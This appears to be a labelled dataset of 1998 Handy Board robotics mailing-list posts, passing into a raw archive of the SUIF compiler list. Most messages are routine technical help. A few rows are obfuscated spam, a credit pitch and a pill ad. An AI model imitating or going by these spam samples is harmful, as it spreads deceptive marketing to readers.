dirty hack, but I did not have to recompile the p-code assembly). I do get one problem - every once in a while the displayed text will wrap to the location following the flashing heart. I don't know if this is a code issue or something with the LCD. If anyone knows of the 20x4 P-code, let me know. I remember reading someone had done this, but cannot find the info any more. Keith >Can someone point me in the direction of using a 20 x 4 LCD. I saw a >reference on the HB website about recompiling the IC source with a >command line switch specifying the LCD dimensions. What do need to >recompile, only the P_code.s19 file?? How do I accomplish this??? > >Any help or suggestions appreciated. >-Drew ",0,1 Rajbala Makar ,handyboard@media.mit.edu,"Thu, 29 Oct 1998 00:47:43 -0500",IR Detection,"Hi Everyone: I am trying out the infra red emission and detection with the Handy Board. I have succeeded in the emission part but the detection circuit is not working. I know that the emitter LED is fine , with the help of Radio Shack Infrared sensor card. can anyone give me any hints as to how to get the sharp detector to see the radiations or maybe do it with the help of any other detector also. Thanks a lot. Bye, Raj ",0,0 wengd@optionshealthcare.com,handyboard@media.mit.edu,"Thu, 29 Oct 1998 08:43:36 -0500",Config Register error,"When I download the pcode file using either HBDL or DL the pcode itself is loaded successfully but I then get an error from both programs saying the config register is set to 0xFF. I retried several times but the config register always reads 0xFF. I am using an E2 (2k eeprom) version of the HC11. I tried using the -eeprom (Burn Eeprom) switch but got the same result. What could be keeping the config register from being reset. I used this processor in a previous project if that matters... Any suggestions... I'm stuck... -Drew ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Thu, 29 Oct 1998 10:04:30 -0500",IRDA and Handyboard?,"Hi all, Electronics Goldmine has some notebook pc IRDA ports for $2! I think it would be Great to use a couple of these to get 2 Handyboards to talk with eachother. Or, get one handyboard to talk with my Notebook PC (which already has an IRDA port). Has anyone done something like this? Does anyone know anything about these IRDA units or how difficult it may be to control/interface them? Thanks! Gerald",0,1 Castor Bay ,handyboard@media.mit.edu,"Thu, 29 Oct 1998 04:16:01 -0700",Re: oajoj news,"Dea w r Home Ow t ne j r , Your cr l ed l it doesn't matter to us ! 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Thank you very much. rgds, phillip ",0,0 Eric Noyau ,phillip chia ,"Thu, 29 Oct 1998 11:09:43 -0800",Re: Voltage for the DC motor," from the FAQ: Using a Separate Motor Power Source: http://el.www.media.mit.edu/groups/el/projects/handy-board/mods/hbmcut.html -- Eric At 10:40 AM 10/28/98 , Phillip chia wrote: >HI, >Currently, I'm using 2 dc motors to drive my robot. The voltage of the >motor is 12v rated. and the rated current is 300mA. These motors are >directly plug into the HD for use. As >a result, the robot cannot travelled fast and sometimes halt suddenly due >to the insufficient voltage . How should I supply a 12v souce to such motor >which 12V on the HD ? > >I am trying to use this method : >Firstly, I connect both the motor's wires to a external driver IC 298. >Next, I extend out the wire from the IC 298 to the Motor Port 2 and 3. I >supply the voltage source using external alkaline battery of 12 V (Each >battery is 1.5) to the Driver IC298. Is there any danger that will damage >the HD or the Motor itself for such connection ? > >Please help. I really need this information urgently. Thank you very much. > >rgds, >phillip ",0,1 Jaron Paludanus ,HandyBoard ,"Fri, 30 Oct 1998 00:20:59 +0100",Smooth PWM in C,"L.S. I wonder if anybody has got the smooth pwm routines in C? This would help me a lot understanding this particular bit and adapting it to my own needs... Thanks, Jaron Paludanus ",0,0 William Bain ,handyboard@media.mit.edu,"Thu, 29 Oct 1998 17:06:11 -0700",Re: Motor output,"On Wed, 28 Oct 1998, Eric Noyau wrote: > Is there any chance for the smooth PWM algorithm to make their way into the supported release of the pcode and libraries? This is a real improvement over the standard one... I believe that IC version 3.2 includes the PWM stuff already. --Will",0,0 William Bain ,handyboard@media.mit.edu,"Thu, 29 Oct 1998 17:11:53 -0700",Re: IR Detection,"On Thu, 29 Oct 1998, Rajbala Makar wrote: > Hi Everyone: > > I am trying out the infra red emission and detection with > the Handy Board. I have succeeded in the emission part > but the detection circuit is not working. I know that > the emitter LED is fine , with the help of Radio Shack > Infrared sensor card. can anyone give me any hints as > to how to get the sharp detector to see the radiations > or maybe do it with the help of any other detector also. The Sharp IR detector is designed to respond only to modulated IR signals. The card from Radio Shack will indicate whether the LED is illuminated, but it won't tell you whether it's modulated at the proper frequency. Perhaps that could be the problem? Just a guess. Good luck! --Will ",0,0 Eric Noyau ,William Bain ,"Thu, 29 Oct 1998 16:34:14 -0800",Re: Motor output,"At 04:06 PM 10/29/98 , William Bain wrote: >On Wed, 28 Oct 1998, Eric Noyau wrote: > > >> Is there any chance for the smooth PWM algorithm to make their >way into the supported release of the pcode and libraries? This is a real >improvement over the standard one... > > >I believe that IC version 3.2 includes the PWM stuff already. > Well, I'm cheap ;^) I'm using the free version. I might be lured into buying the commercial version: I'd sure love to have structs and multidimensional vectors. I think I will miss function pointers... Is there any source coming with the commercial version? I'm not interested in the source of the code running on the host, but I'd sure like to have the source of the stuff running on the handy board, the infamous pcode_hb.asm. -- Eric",0,0 Rajbala Makar ,handyboard@media.mit.edu,"Thu, 29 Oct 1998 19:49:32 -0500",Re: IR Detection,"> > Hi Everyone: > > > > I am trying out the infra red emission and detection with > > the Handy Board. I have succeeded in the emission part > > but the detection circuit is not working. I know that > > the emitter LED is fine , with the help of Radio Shack > > Infrared sensor card. can anyone give me any hints as > > to how to get the sharp detector to see the radiations > > or maybe do it with the help of any other detector also. > > The Sharp IR detector is designed to respond only to modulated IR signals. > The card from Radio Shack will indicate whether the LED is illuminated, > but it won't tell you whether it's modulated at the proper frequency. > Perhaps that could be the problem? Just a guess. Good luck! > > --Will Hi Will: What you say might be the reason for my problem hence I bought a matched IR emitter and detector pair from Radio Shack and tried the same thing. Here again, the emitter is sending the signal but the detector is not able to see it. I tried connecting the receiver to a digital port directly without any resistor and analysing the input from the port by using the digital(int) function. It did not show any level change. Basically, I am trying to implement something similar to the REC 80 routines by Danny Negro and Max Davies' work. I hope to be able to transmit the codes from the IR transmitter of one handyboard and have another HB receive and decode the signals. I even tried Sriram's code (I got it from the HB mailing list archives ) which sends out a signal similar to that sent out by the sony remote but the Sharp Chip was still not able to receive/decode it. Another question I have is, if I want my handyboard to send signals in different directions, do I need to have as many detectors as emitters or one detector will do? Thanks for your help. Raj. ",0,0 Craig Bladow ,handyboard@media.mit.edu,"Thu, 29 Oct 1998 19:34:01 -0800",Re: Other LCDs,"---wengd@optionshealthcare.com wrote: > > Can someone point me in the direction of using a 20 x 4 LCD. I saw a > reference on the HB website about recompiling the IC source with a > command line switch specifying the LCD dimensions. What do need to > recompile, only the P_code.s19 file?? How do I accomplish this??? > > Any help or suggestions appreciated. > -Drew > I just did this. First you need the source code for IC, the compiler, and apparently Unix since the source code requires some pre-processing and the script to do that works under Unix (which I don't have). An alternative method requires the source code, the *.s19 file and the 68HC11 pink book and some determination (I have that). I edited the *.s19 file and replaced the appropriate numbers (4 or 5 places) to let the program work with a 4 by 20 display. Due to the way that the display maps the memory to the displayed lines you have to print: ""The first line The third line The second line The fourth line"" to get the proper order of the display. -Craig (maybe I could have just asked Newton Labs but that would have be too easy....) _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 Max Davies ,Rajbala Makar ,"Thu, 29 Oct 1998 22:34:00 -0500",Re: IR Detection,"Transmission and reception of IR data is quite different from using IR just to bounce it off obstacles to detect their presence. To exchange data with IR you will almost certainly have to use interrupt driven assembler code which can be very difficult. There are so many variables at play that when you first try it and it doesn't work you have no idea where to look: is it the transmitting hardware, the transmitting software, the receiving hardware, or the receiving software? My best suggestion is to start from a known working base. Choose a remote control that you have at home that works with your TV or VCR or whatever. Next get your Handyboard to recognize signals from that remote perfectly. Then get your Handyboard to successfully send those same signals to the TV/VCR. Then put exactly the same code into your second HB and proove it can do the same thing. >From there on it should be a piece of cake to send IR data from one to the other because you have already prooven that their hardware and low-level software are working correctly. My Handyboard IR routines at http://WWW.CAM.ORG/~mdavies/HB/ir.htm should help you a lot, making it unnecessary for you to write any additional assembler code. /Max ",0,1 Ron Chase ,Handyboard ,"Thu, 29 Oct 1998 22:40:40 -0500",debug help,"I just finished adding the motor output circuit to my HB. I have built and tested the interface board. I connected the interface board to the HB to download the test code to test the HB and I keep getting the ""wrong port or board mode"" error. Not knowing what to do I disconnect the HB and play with the interface board a bit. I try to download to just the interface board, the red PWR led is on, but the green serial led never lights up. Playing a little more I start up a terminal program set it to a low speed and try to send characters to the interface board, red led is lit, but still no green led blinking. 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(Was: Motor output),"-----Original Message----- From: Eric Noyau To: William Bain Cc: handyboard@media.mit.edu Date: Thursday, October 29, 1998 8:39 PM Subject: Re: Motor output >At 04:06 PM 10/29/98 , William Bain wrote: >>On Wed, 28 Oct 1998, Eric Noyau wrote: >Is there any source coming with the commercial version [of IC v3.2]? I'm not interested in the source of the code running on the host, but I'd sure like to have the source of the stuff running on the handy board, the infamous pcode_hb.asm. >-- Eric Definate Ditto here! John Whitten brat@naxs.com",0,0 FThompson9@aol.com,"philchia@singnet.com.sg, handyboard@media.mit.edu","Fri, 30 Oct 1998 08:19:20 -0500",Re: DC motor voltage source,"phillip: Pine 8 for the L293D is ""Motor Power."" There are two ways to get to this. 1) Pull the chip from the socket, lift the pin so it points straight up, then wire-wrap a new supply wire to this pin. Or scratch the trace leading to pin 8 U11 and apply power to J13. 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Because the wires were wimpy, I doubled up on the power and ground wires. I've had the one sonar working for a while now, but just recently I finished getting both sonars plugged in. The part that works great is the header plug and ribbon cable part. The part that doesn't work so great is the shared ECHO. Either one works fine alone, but there is definite signal contention on the ECHO. I'm using PD2 for the second INIT, and the BINH is shared by both--no problem. BTW, in order to use PD2 as a digital out, you need to do a bit_set( 0x1009, 0x3C ) in the initialization routine instead of the bit_set( 0x1009, 0x30 ) that's in Fred Martin's sonar.c. I'm not sure why, but the FAQ said to use 0x3C, and it works. I think I might try using a couple of blocking diodes, like you suggested, to see if that clears up the ECHO signal contention problem, unless someone out there has a better idea. I thought about using a chip with a single OR gate (if there is such a thing) or using PD3 to control a multiplexor, but those seem like overkill. Any suggestions? I promise to post all the details on my web page when I get it all figured out. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Idealism is fine, but as it approaches reality Will Bain, the cost becomes prohibitive. & Tatoosh --William F. Buckley, Jr. ",0,0 Eric Noyau ,willbain@cs.umt.edu,"Fri, 30 Oct 1998 12:04:33 -0800",Re: Sonar Sensor Problems," Thanks for doing all this testing and reporting it to us. I do really appreciate it. And I'll vote for the low tech version: use two diodes... -- Eric At 11:22 AM 10/30/98 , Will wrote: >Eric Noyau wrote: >> Please more details! >> >> What is your ""custom dual sonar interface board""? From our previous email >exchange on the list I was under the impression you were just thinking about >it. And now you have the whole thing up and running! >> >> So any caveat? Just sharing all the lines but the INIT one is working? Are >you using D2 or D3 for the second sonar? > >The dual sonar interface board is simply a small (1.5"" sq. or so) >experimenter's PC board from Ripoff Shack with the six power diodes, the >one resistor, and three header plugs soldered onto it. One plug goes to >the HB and the other two go to the sonar modules. There's also a jumper >to disconnect ECHO from the second module. Because the wires were >wimpy, I doubled up on the power and ground wires. > >I've had the one sonar working for a while now, but just recently I >finished getting both sonars plugged in. The part that works great is >the header plug and ribbon cable part. The part that doesn't work so >great is the shared ECHO. Either one works fine alone, but there is >definite signal contention on the ECHO. > >I'm using PD2 for the second INIT, and the BINH is shared by both--no >problem. BTW, in order to use PD2 as a digital out, you need to do a >bit_set( 0x1009, 0x3C ) in the initialization routine instead of the >bit_set( 0x1009, 0x30 ) that's in Fred Martin's sonar.c. I'm not sure >why, but the FAQ said to use 0x3C, and it works. > >I think I might try using a couple of blocking diodes, like you >suggested, to see if that clears up the ECHO signal contention problem, >unless someone out there has a better idea. I thought about using a >chip with a single OR gate (if there is such a thing) or using PD3 to >control a multiplexor, but those seem like overkill. Any suggestions? > >I promise to post all the details on my web page when I get it all >figured out. > ",0,0 Bradly Blackman ,Jeremy ,"Fri, 30 Oct 1998 15:17:54 -0200",US Drugs,"Need some love pi11s? So, why go to your local dr@gstore? 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There's one in the new JAMECO catalog: Flex Sensor Part No. 150551 for $10.95 ",0,0 edmund ,handyboard@media.mit.edu,"Sat, 31 Oct 1998 10:34:51 -0800",programming help.,"hello can someone please tell me what does the following command line mean? bit_set(0x0e, 1 << (4 + motor)); i know that 0x0e refers to memory location $0E but how does bit_set work? is it similar to poke? and more importantly, what operation does '1 << (4 + motor)' perform? any help will be appreciated. thanks. edmund",0,0 Eric Noyau ,edmund ,"Fri, 30 Oct 1998 19:17:24 -0800",Re: programming help.,"At 10:34 AM 10/31/98 , Edmund wrote: > > hello > > can someone please tell me what does the following command line mean? > > bit_set(0x0e, 1 << (4 + motor)); > > i know that 0x0e refers to memory location $0E but how does bit_set > work? is it similar to poke? and more importantly, what operation > does '1 << (4 + motor)' perform? > > any help will be appreciated. thanks. > > In binary 1 is represented by 0000-0001 1 << 1 is 0000-0010 aka 2 1 << 2 is 0000-0100 aka 4 1 << 3 is 0000-1000 aka 8 You get the idea? x << y means slide x to the left y times. motor is probably a number between 0 and 3. 4+motor is then a number between 4 and 7. so, to go back to your example the result of 1<<(4+motor) is one of: 1000-0000 0100-0000 0010-0000 0001-0000 And my guess is that bit_set(address, value) is equivalent to poke(address, peek(address) | value). I don't have any documentation here, so I don't know what is stored in 0x0e, but it could be the place where you turn the motors on and off. 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These motors are > >directly plug into the HD for use. As > >a result, the robot cannot travelled fast and sometimes halt suddenly due > >to the insufficient voltage . How should I supply a 12v souce to such motor > >which 12V on the HD ? > > > >I am trying to use this method : > >Firstly, I connect both the motor's wires to a external driver IC 298. > >Next, I extend out the wire from the IC 298 to the Motor Port 2 and 3. I > >supply the voltage source using external alkaline battery of 12 V (Each > >battery is 1.5) to the Driver IC298. Is there any danger that will damage > >the HD or the Motor itself for such connection ? > > > >Please help. I really need this information urgently. Thank you very much. > > > >rgds, > >phillip ",0,1 Eric Noyau ,phillip chia ,"Sun, 01 Nov 1998 12:35:22 -0800",Re: Voltage for the DC motor,"At 09:02 AM 10/31/98 , Phillip chia wrote: > [...] > http://el.www.media.mit.edu/groups/el/projects/handy-board/mods/hbmcut.html >I noticed that the picture of the HB in the Web page is slight different >from mine. There is no thick trace on my HB to be cut. However, the HB in >the web page has a thick trace on it ? > [...] Sorry, I cannot help you. My board look exactly like the one on the picture. It's a Handy Board v.1.2 I bought assembled from Glasson Research. Does somebody knows what board Phillip is using? -- Eric ",0,1 Rajbala Makar ,handyboard@media.mit.edu,"Sun, 01 Nov 1998 21:04:08 -0500",as11_ic,"> > Hi Everyone: > > I was trying to get a .icb file from a .asm file > but it is giving errors at the #include statement. > I downloaded the as11_ic from > http://ftp.unina.it/pub/electronics/cher/6811/interactive-c/as11/ > > I think it does not support the #include directive 'cos it > was giving errors even when I tried compiling analog.asm file > which comes with the HB library. Can anyone give me any pointers > as to where to download as11_ic for unix ( sun os ) which > supports the #include directive? Or is there some other way > of getting the binary code files from .asm files? > Thanx a lot. > > Rajbala > > ",0,1 Darkman ,"Rajbala Makar , handyboard@media.mit.edu","Sun, 01 Nov 1998 21:12:16 -0500",Re: IR Detection,"Hi Most of the IR LED's sold at Radio Shack are the 840-880 nm wavelenght type. The Sharp tin can requires the 940 nm wavelength IR beam if my memory serves me right, it also requires to be modulated at 38 or 40 kHz depending on the model. This 38 or 40 kHz should also be modulated on and off to get a response from the sensor. I currently have the IRPD http://www.robotstore.com/ hooked up to my Handy Board and have good results. If you go that way let me know and I 'll send you some code in c. I hope that helps and correct me if I'm wrong! -----Original Message----- From: Rajbala Makar To: handyboard@media.mit.edu Date: Thursday, October 29, 1998 8:43 PM Subject: Re: IR Detection >> > Hi Everyone: >> > >> > I am trying out the infra red emission and detection with >> > the Handy Board. I have succeeded in the emission part >> > but the detection circuit is not working. I know that >> > the emitter LED is fine , with the help of Radio Shack >> > Infrared sensor card. can anyone give me any hints as >> > to how to get the sharp detector to see the radiations >> > or maybe do it with the help of any other detector also. >> >> The Sharp IR detector is designed to respond only to modulated IR signals. >> The card from Radio Shack will indicate whether the LED is illuminated, >> but it won't tell you whether it's modulated at the proper frequency. >> Perhaps that could be the problem? Just a guess. Good luck! >> >> --Will > >Hi Will: > >What you say might be the reason for my problem hence I bought a >matched IR emitter and detector pair from Radio Shack and tried the >same thing. Here again, the emitter is sending the signal but >the detector is not able to see it. I tried connecting the receiver >to a digital port directly without any resistor and analysing the >input from the port by using the digital(int) function. It did not >show any level change. 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I even tried Sriram's code (I got >it from the HB mailing list archives ) which >sends out a signal similar to that sent out by the sony remote but >the Sharp Chip was still not able to receive/decode it. >Another question I have is, if I want my handyboard to send signals >in different directions, do I need to have as many detectors as >emitters or one detector will do? > >Thanks for your help. > >Raj. >",0,1 Darkman ,"DjKOz97@aol.com, handyboard@media.mit.edu","Sun, 01 Nov 1998 21:19:20 -0500",Re: Bend/ Flex Sensor,"I think its cheaper to get an old Nintendo power glove and Hack it! >Someone had inquired about Bend/ Flex sensors... >There's one in the new JAMECO catalog: >Flex Sensor >Part No. 150551 for $10.95 > ",0,0 Darkman ,"edmund , Eric Noyau ","Sun, 01 Nov 1998 21:22:55 -0500",Re: programming help.,"The ""<<"" is a shift left operator in C 0E is the actual motor port on the Handy Board. >At 10:34 AM 10/31/98 , Edmund wrote: >> >> hello >> >> can someone please tell me what does the following command line mean? >> >> bit_set(0x0e, 1 << (4 + motor)); >> >> i know that 0x0e refers to memory location $0E but how does bit_set >> work? is it similar to poke? and more importantly, what operation >> does '1 << (4 + motor)' perform? >> >> any help will be appreciated. thanks. >> >> > >In binary 1 is represented by 0000-0001 > >1 << 1 is 0000-0010 aka 2 >1 << 2 is 0000-0100 aka 4 >1 << 3 is 0000-1000 aka 8 > >You get the idea? x << y means slide x to the left y times. > >motor is probably a number between 0 and 3. 4+motor is then a number between 4 and 7. > >so, to go back to your example the result of 1<<(4+motor) is one of: > >1000-0000 >0100-0000 >0010-0000 >0001-0000 > >And my guess is that bit_set(address, value) is equivalent to poke(address, peek(address) | value). I don't have any documentation here, so I don't know what is stored in 0x0e, but it could be the place where you turn the motors on and off. And the code you are looking at is turning a motor on without touching the other motors. > > >-- Eric >",0,0 1177 ,Eric Noyau ,"Sun, 01 Nov 1998 20:51:53 -0600",Re: Voltage for the DC motor,"Ja, I could not tell you for the life of me what 'type' f a HB it is, but I remember someone once telling me that you could just remove one of the pins from the driver chip instead. This method would be less final (ie, just bend the lead up and if yyou decide to change it you could just bend it down), but again, for the life of me, I cannot remember which pin! Check the schematic, it should be pretty obvious. Or follow traces on the HB..... ---phil On Sun, 1 Nov 1998, Eric Noyau wrote: > At 09:02 AM 10/31/98 , Phillip chia wrote: > > [...] > > http://el.www.media.mit.edu/groups/el/projects/handy-board/mods/hbmcut.html > >I noticed that the picture of the HB in the Web page is slight different > >from mine. There is no thick trace on my HB to be cut. However, the HB in > >the web page has a thick trace on it ? > > [...] > > Sorry, I cannot help you. My board look exactly like the one on the picture. It's a Handy Board v.1.2 I bought assembled from Glasson Research. Does somebody knows what board Phillip is using? > > -- Eric > ",0,1 Clarence Mcmanus ,handyboard@media.mit.edu,"Sun, 01 Nov 1998 16:25:47 -0500",Re. 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Could anyone tell me how to switch off the transformation? or Are there any better programs to convert Fortran programs to C? Thank you in advance! _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ Shiping Chen School of Mathematical and Computer Sciences University of New England (UNE) Armidale, NSW 2351, Australia Tel : +61 (0)2 6773 3935 Fax : +61 (0)2 6773 3312 Email: shiping@cs.une.edu.au Web : http://cs.une.edu.au/~shiping _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ >From owner-suif-talk Mon Nov 2 17:39:40 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id RAA15565 for suif-talk-doit; Mon, 2 Nov 1998 17:39:37 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from Xenon.Stanford.EDU (Xenon.Stanford.EDU [171.64.66.201]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id RAA15561 for ; Mon, 2 Nov 1998 17:39:36 -0800 (PST) Received: (from cwilson@localhost) by Xenon.Stanford.EDU (8.9.1/8.9.1) id RAA28476; Mon, 2 Nov 1998 17:38:24 -0800 (PST) Date: Mon, 2 Nov 98 17:38:24 PST From: Chris Wilson To: Shiping Chen Cc: suif-talk@corsica.Stanford.EDU Subject: Re: About sf2c In-Reply-To: Your message of Tue, 03 Nov 1998 12:35:28 +1100 Message-ID: Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Chris Wilson > Hi, Chris, > > Congratulation on that you got the new job! > > When I used `sf2c' to convert some Fortran benchmark > programs to C, I found that many 2D or 3D arrays in these > Fortran programs were transformed into 1D arrays. > Although the transformation is correct in the sense of > semantics, it makes SUIF dependence test invalid (the index is too messy). > Could anyone tell me how to switch off the transformation? > or Are there any better programs to convert Fortran programs to C? > > Thank you in advance! > > _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ > > Shiping Chen You should run ``scc -V file.f -.spd''. This will run sf2c and then snoot but then it will run some passes to recover the symbolic information. sf2c does linearize array references, but it keeps the information around encoded in assignments to specially named variables. The fixfortran pass uses this information to reconstruct the array information. --Chris >From owner-suif-talk Mon Nov 2 17:49:56 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id RAA15598 for suif-talk-doit; Mon, 2 Nov 1998 17:49:54 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from Xenon.Stanford.EDU (Xenon.Stanford.EDU [171.64.66.201]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id RAA15594 for ; Mon, 2 Nov 1998 17:49:52 -0800 (PST) Received: (from cwilson@localhost) by Xenon.Stanford.EDU (8.9.1/8.9.1) id RAA00268 for suif-talk@corsica.Stanford.edu; Mon, 2 Nov 1998 17:50:02 -0800 (PST) Date: Mon, 2 Nov 98 17:50:02 PST From: Chris Wilson To: suif-talk@corsica.Stanford.EDU Subject: Thank you Message-ID: Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Chris Wilson Hi everyone, I just want to say thank you to everyone who has wished me well on my new job and thanked me for what I have done on SUIF. You have been very kind and I really appreciate it. I have found those on the suif-talk and suif-bugs lists great people to deal with. You have been appreciative of whatever I've been able to do that has been useful and forgiving of things that have gone wrong. And I've enjoyed the conversations I've been able to have with some of you in person at workshops and conferences. Thank you. --Chris >From owner-suif-talk Tue Nov 3 12:05:11 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id MAA17919 for suif-talk-doit; Tue, 3 Nov 1998 12:04:34 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from pacific.pgroup.com (pacific.pgroup.com [192.124.124.8]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id MAA17915 for ; Tue, 3 Nov 1998 12:04:32 -0800 (PST) Received: from pgroup.com (stork.pgroup.com [192.124.124.39]) by pacific.pgroup.com (8.8.5/8.6.11) with ESMTP id MAA06236 for ; Tue, 3 Nov 1998 12:04:13 -0800 (PST) Message-ID: <363F6345.663407CC@pgroup.com> Date: Tue, 03 Nov 1998 12:10:45 -0800 From: David L Moore X-Mailer: Mozilla 4.05 [en] (WinNT; I) MIME-Version: 1.0 To: ""suif-talk@corsica.Stanford.EDU"" Subject: Attendance at SC98 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: David L Moore I would like to get together a list of where everyone is staying and when you arrive and depart for SC98 so that I can contact everyone as needed. I am staying at the Howard Johnson Hotel, 9956 Hawaiian Court. I arrive late Saturday Night and leave straight after the show Thursday - my flight is at 7. >From owner-suif-talk Tue Nov 3 12:31:31 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id MAA17965 for suif-talk-doit; Tue, 3 Nov 1998 12:31:28 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from CS.Princeton.EDU (root@CS.Princeton.EDU [128.112.136.10]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id MAA17959 for ; Tue, 3 Nov 1998 12:31:26 -0800 (PST) Received: from vista.CS.Princeton.EDU (vista.CS.Princeton.EDU [128.112.152.57]) by CS.Princeton.EDU (8.8.8/8.8.8) with ESMTP id PAA20853 for ; Tue, 3 Nov 1998 15:30:25 -0500 (EST) Received: (from danwang@localhost) by vista.CS.Princeton.EDU (8.8.7/8.8.7) id PAA03911; Tue, 3 Nov 1998 15:30:24 -0500 To: suif-talk@corsica.Stanford.EDU Subject: suif 2.0 optimizations From: Daniel Wang Date: 03 Nov 1998 15:30:24 -0500 In-Reply-To: Chris Wilson's message of Wed, 28 Oct 98 11:17:44 PST Message-ID: Lines: 12 X-Mailer: Gnus v5.4.55/Emacs 20.2 Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Daniel Wang some very basic questions. For the basesuif.alpha-2.0.0.720 1. Does scc -O actually do any optimizations? 2. How can I get an optimized version of a C program in suif 2.0 format? 3. What scalar opts can suif 1/2 currently do. 4. How does scc compile code (covert back to c and use native compiler?) >From owner-suif-talk Tue Nov 3 16:49:56 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id QAA27814 for suif-talk-doit; Tue, 3 Nov 1998 16:49:49 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from Xenon.Stanford.EDU (Xenon.Stanford.EDU [171.64.66.201]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id QAA27810 for ; Tue, 3 Nov 1998 16:49:48 -0800 (PST) Received: (from cwilson@localhost) by Xenon.Stanford.EDU (8.9.1/8.9.1) id QAA26756; Tue, 3 Nov 1998 16:49:56 -0800 (PST) Date: Tue, 3 Nov 98 16:49:56 PST From: Chris Wilson To: Daniel Wang Cc: suif-talk@corsica.Stanford.EDU Subject: Re: suif 2.0 optimizations In-Reply-To: Your message of 03 Nov 1998 15:30:24 -0500 Message-ID: Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Chris Wilson > some very basic questions. > For the basesuif.alpha-2.0.0.720 > > 1. Does scc -O actually do any optimizations? Yes, it runs some simple SUIF1 optimization passes. Keep in mind that these are optimizations designed to make parallelization easier. They were never intended to be general-purpose optimizations. > 2. How can I get an optimized version of a C program in suif 2.0 format? You could run ``scc -V -O2 -.out.c -keep -keep''. This will convert to C output using SUIF1 and show you the passes are they are being run. Look and see what the last file is before s2c is run. Run the converter to SUIF2 on that file. > 3. What scalar opts can suif 1/2 currently do. There aren't any general purpose scalar opts. There are some special scalar opts in SUIF1 to help parallelization. See the porky1 man page for a list of the passes that are available. > 4. How does scc compile code (covert back to c and use native compiler?) Yes, it converts it back to C and uses the native compiler. If you use the ``-V'' option, scc will show you exactly what it is running. Please see the scc man page for further information. --Chris >From owner-suif-talk Tue Nov 3 22:03:50 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id WAA28375 for suif-talk-doit; Tue, 3 Nov 1998 22:03:09 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from mail.iitk.ac.in ([202.54.56.131]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id WAA28371 for ; Tue, 3 Nov 1998 22:02:02 -0800 (PST) Received: from apah.cc.iitk.ernet.in (apah.cc.iitk.ernet.in [144.16.167.6]) by mail.iitk.ac.in (8.8.8/8.8.7) with SMTP id LAA32131 for ; Wed, 4 Nov 1998 11:31:49 +0530 Date: Wed, 4 Nov 1998 11:33:23 +0530 (IST) From: Alok Agarwal X-Sender: alokka@apah.cc.iitk.ernet.in To: suif-talk@corsica.Stanford.EDU Subject: baseparsuif Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Alok Agarwal Installing baseparsuif-1.0.0.beta.1 gives some errors like : runtime_seq.c:1304: parse error before `$' Do you know how to get across the problem ? ---- Alok Agarwal, Senior Undergraduate , CSE , A-120/I , I.I.T. Kanpur E-mail: alokka@iitk.ac.in alokka@rocketmail.com >From owner-suif-talk Tue Nov 3 22:07:37 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id WAA28395 for suif-talk-doit; Tue, 3 Nov 1998 22:07:35 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from mail.iitk.ac.in ([202.54.56.131]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id WAA28391 for ; Tue, 3 Nov 1998 22:06:44 -0800 (PST) Received: from apah.cc.iitk.ernet.in (apah.cc.iitk.ernet.in [144.16.167.6]) by mail.iitk.ac.in (8.8.8/8.8.7) with SMTP id LAA32200 for ; Wed, 4 Nov 1998 11:36:57 +0530 Date: Wed, 4 Nov 1998 11:38:31 +0530 (IST) From: Alok Agarwal X-Sender: alokka@apah.cc.iitk.ernet.in To: suif-talk@corsica.Stanford.EDU Subject: Some questions Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Alok Agarwal I have some questions about SUIF loop optimizations : As you have already said all the optimizations are concerning parallelizations only, so how does it handles the data distribution and loop breaking on different processors. Suppose that I have to parallelize a program and use PVM to run the program on different 